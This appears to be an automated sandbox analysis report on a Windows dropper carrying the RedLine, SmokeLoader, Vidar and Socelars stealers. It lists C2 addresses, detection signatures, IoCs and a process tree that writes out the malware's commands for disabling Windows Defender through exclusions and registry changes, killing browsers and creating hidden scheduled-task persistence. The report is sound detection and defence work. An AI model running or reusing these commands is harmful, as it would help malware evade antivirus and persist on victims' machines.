redline | 093c40a96a55be0cc76dd3f234eebc8e66f453626f0d217fce4bb91d5e5afa5c

Analysis

max time kernel
7s
max time network
153s
platform
windows10_x64
resource
win10-en-20210920
submitted
21/09/2021, 22:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
295b842a1a8473e51468fed24d1527cd.exe
Size 5.0MB
Sample210921-2h8xcsddfq
SHA256 093c40a96a55be0cc76dd3f234eebc8e66f453626f0d217fce4bb91d5e5afa5c
MD5 295b842a1a8473e51468fed24d1527cd
SHA1 e781082d1998162c11c2858a7a4b14db110c201f
SHA512 7a59d800c62599f54268df99cd014b0323b15df2120f974834d2673cec63a2c140ea9da989a1e01c0a19876accb4d97deb6e77d0126441e5b4259c8493c4f448
MD5 SHA1 SHA512

Score

10^/10

redline smokeloader socelars vidar 706 janesam aspackv2 backdoor evasion infostealer stealer suricata themida trojan

Malware Config

Extracted

Family

vidar

Version

40.7

Botnet

https://petrenko96.tumblr.com/

Attributes

profile_id
706

Extracted

Family

redline

Botnet

janesam

65.108.20.195:6774

Extracted

Family

smokeloader

Version

2020

http://varmisende.com/upload/
http://fernandomayol.com/upload/
http://nextlytm.com/upload/
http://people4jan.com/upload/
http://asfaltwerk.com/upload/

rc4.i32

Signatures

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4944	4976	rundll32.exe	105
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6492	4976	rundll32.exe	105
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6776	4976	rundll32.exe	105

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 4 IoCs

resource	yara_rule
behavioral2/memory/4220-259-0x0000000004E90000-0x0000000004EAD000-memory.dmp	family_redline
behavioral2/memory/4992-324-0x0000000000E60000-0x0000000000E85000-memory.dmp	family_redline
behavioral2/memory/5412-411-0x000000000041C5DE-mapping.dmp	family_redline
behavioral2/memory/5548-361-0x000000000041C5E2-mapping.dmp	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
stealer socelars

Socelars Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000400000001abe5-138.dat	family_socelars
behavioral2/files/0x000400000001abe5-168.dat	family_socelars

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Vidar Stealer 2 IoCs

stealer

resource	yara_rule
behavioral2/memory/4172-239-0x0000000000A50000-0x0000000000B24000-memory.dmp	family_vidar
behavioral2/memory/4172-240-0x0000000000400000-0x00000000004D7000-memory.dmp	family_vidar

ASPack v2.12-2.42 6 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral2/files/0x000400000001abcb-121.dat	aspack_v212_v242
behavioral2/files/0x000400000001abcb-122.dat	aspack_v212_v242
behavioral2/files/0x000400000001abcc-124.dat	aspack_v212_v242
behavioral2/files/0x000400000001abcc-120.dat	aspack_v212_v242
behavioral2/files/0x000400000001abce-126.dat	aspack_v212_v242
behavioral2/files/0x000400000001abce-127.dat	aspack_v212_v242

Downloads MZ/PE file

Executes dropped EXE 15 IoCs

pid	Process
2512	setup_install.exe
812	Mon1103cf83aaf9.exe
1696	Mon11c20bd59014d.exe
3920	Mon11bddd2ee4744bdc.exe
428	Mon11cce54fe7cc83fa3.exe
3660	Mon11a554223654cac.exe
1768	Mon112a4b301b.exe
1784	Mon1160373b3b6ac3f.exe
1548	Mon11c710f55e48b36.exe
296	Mon11a9944c09b.exe
3936	powershell.exe
1728	Mon1133139d83b18.exe
4116	Mon112a4b301b.tmp
4172	Mon1164bf13c51f2c.exe
4220	Mon114596ddbd42f8.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Mon1160373b3b6ac3f.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Mon1160373b3b6ac3f.exe

Loads dropped DLL 8 IoCs

pid	Process
2512	setup_install.exe
2512	setup_install.exe
2512	setup_install.exe
2512	setup_install.exe
2512	setup_install.exe
2512	setup_install.exe
2512	setup_install.exe
4116	Mon112a4b301b.tmp

Themida packer 3 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/files/0x000200000001abdc-148.dat	themida
behavioral2/files/0x000200000001abdc-179.dat	themida
behavioral2/memory/1784-212-0x00000000009A0000-0x00000000009A1000-memory.dmp	themida

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Mon1160373b3b6ac3f.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 7 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
14	ip-api.com
100	ipinfo.io
101	ipinfo.io
102	ip-api.com
261	ipinfo.io
264	ipinfo.io
331	ipinfo.io

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
1784	Mon1160373b3b6ac3f.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 15 IoCs

pid	pid_target	Process	procid_target
3188	1696	WerFault.exe	82
5940	5036	WerFault.exe	120
6068	4864	WerFault.exe	100
6060	1696	WerFault.exe	82
5668	5828	WerFault.exe	142
4280	1696	WerFault.exe	82
4268	4864	WerFault.exe	100
2468	4864	WerFault.exe	100
5236	4864	WerFault.exe	100
5376	4864	WerFault.exe	100
2992	1696	WerFault.exe	82
6780	4864	WerFault.exe	100
6172	1696	WerFault.exe	82
4744	1696	WerFault.exe	82
4576	1696	WerFault.exe	82

Creates scheduled task(s) 1 TTPs 6 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
8696	schtasks.exe
8680	schtasks.exe
6208	schtasks.exe
6836	schtasks.exe
7740	schtasks.exe
8704	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
5168	timeout.exe

Kills process with taskkill 6 IoCs

evasion

pid	Process
4268	taskkill.exe
6160	taskkill.exe
8180	taskkill.exe
7560	taskkill.exe
8412	taskkill.exe
9020	taskkill.exe

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	8	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1784	Mon1160373b3b6ac3f.exe
1784	Mon1160373b3b6ac3f.exe
2212	powershell.exe
2212	powershell.exe

Suspicious use of AdjustPrivilegeToken 38 IoCs

description	pid	Process
Token: SeCreateTokenPrivilege	3920	Mon11bddd2ee4744bdc.exe
Token: SeAssignPrimaryTokenPrivilege	3920	Mon11bddd2ee4744bdc.exe
Token: SeLockMemoryPrivilege	3920	Mon11bddd2ee4744bdc.exe
Token: SeIncreaseQuotaPrivilege	3920	Mon11bddd2ee4744bdc.exe
Token: SeMachineAccountPrivilege	3920	Mon11bddd2ee4744bdc.exe
Token: SeTcbPrivilege	3920	Mon11bddd2ee4744bdc.exe
Token: SeSecurityPrivilege	3920	Mon11bddd2ee4744bdc.exe
Token: SeTakeOwnershipPrivilege	3920	Mon11bddd2ee4744bdc.exe
Token: SeLoadDriverPrivilege	3920	Mon11bddd2ee4744bdc.exe
Token: SeSystemProfilePrivilege	3920	Mon11bddd2ee4744bdc.exe
Token: SeSystemtimePrivilege	3920	Mon11bddd2ee4744bdc.exe
Token: SeProfSingleProcessPrivilege	3920	Mon11bddd2ee4744bdc.exe
Token: SeIncBasePriorityPrivilege	3920	Mon11bddd2ee4744bdc.exe
Token: SeCreatePagefilePrivilege	3920	Mon11bddd2ee4744bdc.exe
Token: SeCreatePermanentPrivilege	3920	Mon11bddd2ee4744bdc.exe
Token: SeBackupPrivilege	3920	Mon11bddd2ee4744bdc.exe
Token: SeRestorePrivilege	3920	Mon11bddd2ee4744bdc.exe
Token: SeShutdownPrivilege	3920	Mon11bddd2ee4744bdc.exe
Token: SeDebugPrivilege	3920	Mon11bddd2ee4744bdc.exe
Token: SeAuditPrivilege	3920	Mon11bddd2ee4744bdc.exe
Token: SeSystemEnvironmentPrivilege	3920	Mon11bddd2ee4744bdc.exe
Token: SeChangeNotifyPrivilege	3920	Mon11bddd2ee4744bdc.exe
Token: SeRemoteShutdownPrivilege	3920	Mon11bddd2ee4744bdc.exe
Token: SeUndockPrivilege	3920	Mon11bddd2ee4744bdc.exe
Token: SeSyncAgentPrivilege	3920	Mon11bddd2ee4744bdc.exe
Token: SeEnableDelegationPrivilege	3920	Mon11bddd2ee4744bdc.exe
Token: SeManageVolumePrivilege	3920	Mon11bddd2ee4744bdc.exe
Token: SeImpersonatePrivilege	3920	Mon11bddd2ee4744bdc.exe
Token: SeCreateGlobalPrivilege	3920	Mon11bddd2ee4744bdc.exe
Token: 31	3920	Mon11bddd2ee4744bdc.exe
Token: 32	3920	Mon11bddd2ee4744bdc.exe
Token: 33	3920	Mon11bddd2ee4744bdc.exe
Token: 34	3920	Mon11bddd2ee4744bdc.exe
Token: 35	3920	Mon11bddd2ee4744bdc.exe
Token: SeDebugPrivilege	428	Mon11cce54fe7cc83fa3.exe
Token: SeDebugPrivilege	2212	powershell.exe
Token: SeDebugPrivilege	296	Mon11a9944c09b.exe
Token: SeDebugPrivilege	4220	Mon114596ddbd42f8.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2284 wrote to memory of 2512	2284	295b842a1a8473e51468fed24d1527cd.exe	70
PID 2284 wrote to memory of 2512	2284	295b842a1a8473e51468fed24d1527cd.exe	70
PID 2284 wrote to memory of 2512	2284	295b842a1a8473e51468fed24d1527cd.exe	70
PID 2512 wrote to memory of 2240	2512	setup_install.exe	73
PID 2512 wrote to memory of 2240	2512	setup_install.exe	73
PID 2512 wrote to memory of 2240	2512	setup_install.exe	73
PID 2512 wrote to memory of 2332	2512	setup_install.exe	74
PID 2512 wrote to memory of 2332	2512	setup_install.exe	74
PID 2512 wrote to memory of 2332	2512	setup_install.exe	74
PID 2512 wrote to memory of 508	2512	setup_install.exe	75
PID 2512 wrote to memory of 508	2512	setup_install.exe	75
PID 2512 wrote to memory of 508	2512	setup_install.exe	75
PID 2512 wrote to memory of 3484	2512	setup_install.exe	76
PID 2512 wrote to memory of 3484	2512	setup_install.exe	76
PID 2512 wrote to memory of 3484	2512	setup_install.exe	76
PID 2512 wrote to memory of 824	2512	setup_install.exe	77
PID 2512 wrote to memory of 824	2512	setup_install.exe	77
PID 2512 wrote to memory of 824	2512	setup_install.exe	77
PID 2512 wrote to memory of 1004	2512	setup_install.exe	78
PID 2512 wrote to memory of 1004	2512	setup_install.exe	78
PID 2512 wrote to memory of 1004	2512	setup_install.exe	78
PID 2512 wrote to memory of 1128	2512	setup_install.exe	111
PID 2512 wrote to memory of 1128	2512	setup_install.exe	111
PID 2512 wrote to memory of 1128	2512	setup_install.exe	111
PID 2512 wrote to memory of 1160	2512	setup_install.exe	79
PID 2512 wrote to memory of 1160	2512	setup_install.exe	79
PID 2512 wrote to memory of 1160	2512	setup_install.exe	79
PID 2512 wrote to memory of 2328	2512	setup_install.exe	110
PID 2512 wrote to memory of 2328	2512	setup_install.exe	110
PID 2512 wrote to memory of 2328	2512	setup_install.exe	110
PID 2512 wrote to memory of 648	2512	setup_install.exe	109
PID 2512 wrote to memory of 648	2512	setup_install.exe	109
PID 2512 wrote to memory of 648	2512	setup_install.exe	109
PID 2512 wrote to memory of 912	2512	setup_install.exe	80
PID 2512 wrote to memory of 912	2512	setup_install.exe	80
PID 2512 wrote to memory of 912	2512	setup_install.exe	80
PID 1004 wrote to memory of 812	1004	cmd.exe	108
PID 1004 wrote to memory of 812	1004	cmd.exe	108
PID 1004 wrote to memory of 812	1004	cmd.exe	108
PID 2240 wrote to memory of 2212	2240	cmd.exe	98
PID 2240 wrote to memory of 2212	2240	cmd.exe	98
PID 2240 wrote to memory of 2212	2240	cmd.exe	98
PID 508 wrote to memory of 3920	508	cmd.exe	106
PID 508 wrote to memory of 3920	508	cmd.exe	106
PID 508 wrote to memory of 3920	508	cmd.exe	106
PID 3484 wrote to memory of 1696	3484	cmd.exe	82
PID 3484 wrote to memory of 1696	3484	cmd.exe	82
PID 3484 wrote to memory of 1696	3484	cmd.exe	82
PID 2512 wrote to memory of 3952	2512	setup_install.exe	81
PID 2512 wrote to memory of 3952	2512	setup_install.exe	81
PID 2512 wrote to memory of 3952	2512	setup_install.exe	81
PID 2332 wrote to memory of 428	2332	cmd.exe	107
PID 2332 wrote to memory of 428	2332	cmd.exe	107
PID 824 wrote to memory of 3660	824	cmd.exe	95
PID 824 wrote to memory of 3660	824	cmd.exe	95
PID 2512 wrote to memory of 864	2512	setup_install.exe	83
PID 2512 wrote to memory of 864	2512	setup_install.exe	83
PID 2512 wrote to memory of 864	2512	setup_install.exe	83
PID 2328 wrote to memory of 1768	2328	cmd.exe	93
PID 2328 wrote to memory of 1768	2328	cmd.exe	93
PID 2328 wrote to memory of 1768	2328	cmd.exe	93
PID 1160 wrote to memory of 1784	1160	cmd.exe	92
PID 1160 wrote to memory of 1784	1160	cmd.exe	92
PID 1160 wrote to memory of 1784	1160	cmd.exe	92

C:\Users\Admin\AppData\Local\Temp\295b842a1a8473e51468fed24d1527cd.exe
"C:\Users\Admin\AppData\Local\Temp\295b842a1a8473e51468fed24d1527cd.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2284
- C:\Users\Admin\AppData\Local\Temp\7zSCE855DB2\setup_install.exe
  "C:\Users\Admin\AppData\Local\Temp\7zSCE855DB2\setup_install.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2512
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2240
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2212
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon11cce54fe7cc83fa3.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2332
  - - C:\Users\Admin\AppData\Local\Temp\7zSCE855DB2\Mon11cce54fe7cc83fa3.exe
      Mon11cce54fe7cc83fa3.exe
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:428
    - - C:\Users\Admin\AppData\Roaming\1369137.scr
        
        "C:\Users\Admin\AppData\Roaming\1369137.scr" /S
        5⤵
        
        PID:5036
      - C:\Users\Admin\AppData\Roaming\1369137.scr
        
        "C:\Users\Admin\AppData\Roaming\1369137.scr"
        6⤵
        
        PID:5548
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5036 -s 896
        6⤵
        Program crash
        
        PID:5940
    - - C:\Users\Admin\AppData\Roaming\7982180.scr
        
        "C:\Users\Admin\AppData\Roaming\7982180.scr" /S
        5⤵
        
        PID:5488
    - - C:\Users\Admin\AppData\Roaming\2790836.scr
        
        "C:\Users\Admin\AppData\Roaming\2790836.scr" /S
        5⤵
        
        PID:4880
    - - C:\Users\Admin\AppData\Roaming\1823216.scr
        
        "C:\Users\Admin\AppData\Roaming\1823216.scr" /S
        5⤵
        
        PID:5624
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon11bddd2ee4744bdc.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:508
  - - C:\Users\Admin\AppData\Local\Temp\7zSCE855DB2\Mon11bddd2ee4744bdc.exe
      Mon11bddd2ee4744bdc.exe
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:3920
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        5⤵
        
        PID:8000
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        6⤵
        Kills process with taskkill
        
        PID:6160
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon11c20bd59014d.exe /mixone
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3484
  - - C:\Users\Admin\AppData\Local\Temp\7zSCE855DB2\Mon11c20bd59014d.exe
      Mon11c20bd59014d.exe /mixone
      4⤵
      Executes dropped EXE
      PID:1696
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1696 -s 660
        5⤵
        Program crash
        
        PID:3188
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1696 -s 676
        5⤵
        Program crash
        
        PID:6060
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1696 -s 500
        5⤵
        Program crash
        
        PID:4280
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1696 -s 836
        5⤵
        Program crash
        
        PID:2992
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1696 -s 892
        5⤵
        Program crash
        
        PID:6172
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1696 -s 932
        5⤵
        Program crash
        
        PID:4744
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 1696 -s 1056
        5⤵
        Program crash
        
        PID:4576
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon11a554223654cac.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:824
  - - C:\Users\Admin\AppData\Local\Temp\7zSCE855DB2\Mon11a554223654cac.exe
      Mon11a554223654cac.exe
      4⤵
      Executes dropped EXE
      PID:3660
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon1103cf83aaf9.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1004
  - - C:\Users\Admin\AppData\Local\Temp\7zSCE855DB2\Mon1103cf83aaf9.exe
      Mon1103cf83aaf9.exe
      4⤵
      Executes dropped EXE
      PID:812
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon1160373b3b6ac3f.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1160
  - - C:\Users\Admin\AppData\Local\Temp\7zSCE855DB2\Mon1160373b3b6ac3f.exe
      Mon1160373b3b6ac3f.exe
      4⤵
      Executes dropped EXE
      Checks BIOS information in registry
      Checks whether UAC is enabled
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious behavior: EnumeratesProcesses
      PID:1784
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon117107f765b140f6f.exe
    3⤵
    PID:912
  - - C:\Users\Admin\AppData\Local\Temp\7zSCE855DB2\Mon117107f765b140f6f.exe
      Mon117107f765b140f6f.exe
      4⤵
      PID:3936
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon1133139d83b18.exe
    3⤵
    PID:3952
  - - C:\Users\Admin\AppData\Local\Temp\7zSCE855DB2\Mon1133139d83b18.exe
      Mon1133139d83b18.exe
      4⤵
      Executes dropped EXE
      PID:1728
    - - C:\Users\Admin\Documents\jKJUSdPzIU4Ryod967Nil_6J.exe
        
        "C:\Users\Admin\Documents\jKJUSdPzIU4Ryod967Nil_6J.exe"
        5⤵
        
        PID:7500
      - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\Documents\jKJUSdPzIU4Ryod967Nil_6J.exe"
        6⤵
        
        PID:5936
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /T 10 /NOBREAK
        7⤵
        Delays execution with timeout.exe
        
        PID:5168
    - - C:\Users\Admin\Documents\od7wuglb7793nG2u1K6A2FCW.exe
        
        "C:\Users\Admin\Documents\od7wuglb7793nG2u1K6A2FCW.exe"
        5⤵
        
        PID:5240
    - - C:\Users\Admin\Documents\ukEfEB2fheXAo1CPlx7r_hZw.exe
        
        "C:\Users\Admin\Documents\ukEfEB2fheXAo1CPlx7r_hZw.exe"
        5⤵
        
        PID:3428
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
        6⤵
        Creates scheduled task(s)
        
        PID:8704
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
        6⤵
        Creates scheduled task(s)
        
        PID:8696
      - C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe
        
        "C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe"
        6⤵
        
        PID:8688
    - - C:\Users\Admin\Documents\t8ej1Xzm9yTGVt7YBzMfUCpu.exe
        
        "C:\Users\Admin\Documents\t8ej1Xzm9yTGVt7YBzMfUCpu.exe"
        5⤵
        
        PID:4476
    - - C:\Users\Admin\Documents\BTb1F3hWQL0DT47KoAJQEswc.exe
        
        "C:\Users\Admin\Documents\BTb1F3hWQL0DT47KoAJQEswc.exe"
        5⤵
        
        PID:6908
    - - C:\Users\Admin\Documents\K9Y3hj2_US7JRHG7tCNR4XI0.exe
        
        "C:\Users\Admin\Documents\K9Y3hj2_US7JRHG7tCNR4XI0.exe"
        5⤵
        
        PID:4056
    - - C:\Users\Admin\Documents\XTFl8PUmchFlXlglAmqKqBLa.exe
        
        "C:\Users\Admin\Documents\XTFl8PUmchFlXlglAmqKqBLa.exe"
        5⤵
        
        PID:6368
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe"
        6⤵
        
        PID:1528
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe"
        7⤵
        
        PID:7692
    - - C:\Users\Admin\Documents\MTvG2CiVeBmgg94M3xEO8FWm.exe
        
        "C:\Users\Admin\Documents\MTvG2CiVeBmgg94M3xEO8FWm.exe"
        5⤵
        
        PID:5272
      - C:\Users\Admin\AppData\Local\Temp\7zSF379.tmp\Install.exe
        
        .\Install.exe
        6⤵
        
        PID:7544
        
        C:\Users\Admin\AppData\Local\Temp\7zSF10.tmp\Install.exe
        
        .\Install.exe /S /site_id "394347"
        7⤵
        
        PID:6420
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
        8⤵
        
        PID:5644
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
        9⤵
        
        PID:8380
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
        10⤵
        
        PID:8716
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
        11⤵
        
        PID:8300
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
        12⤵
        
        PID:8456
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        8⤵
        
        PID:4676
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        9⤵
        
        PID:8592
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        10⤵
        
        PID:8636
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        10⤵
        
        PID:8920
        
        C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
        8⤵
        
        PID:6136
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        9⤵
        
        PID:8816
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        10⤵
        
        PID:9120
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        10⤵
        
        PID:5688
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "gVmUhDJFU" /SC once /ST 13:57:04 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        8⤵
        Creates scheduled task(s)
        
        PID:8680
        
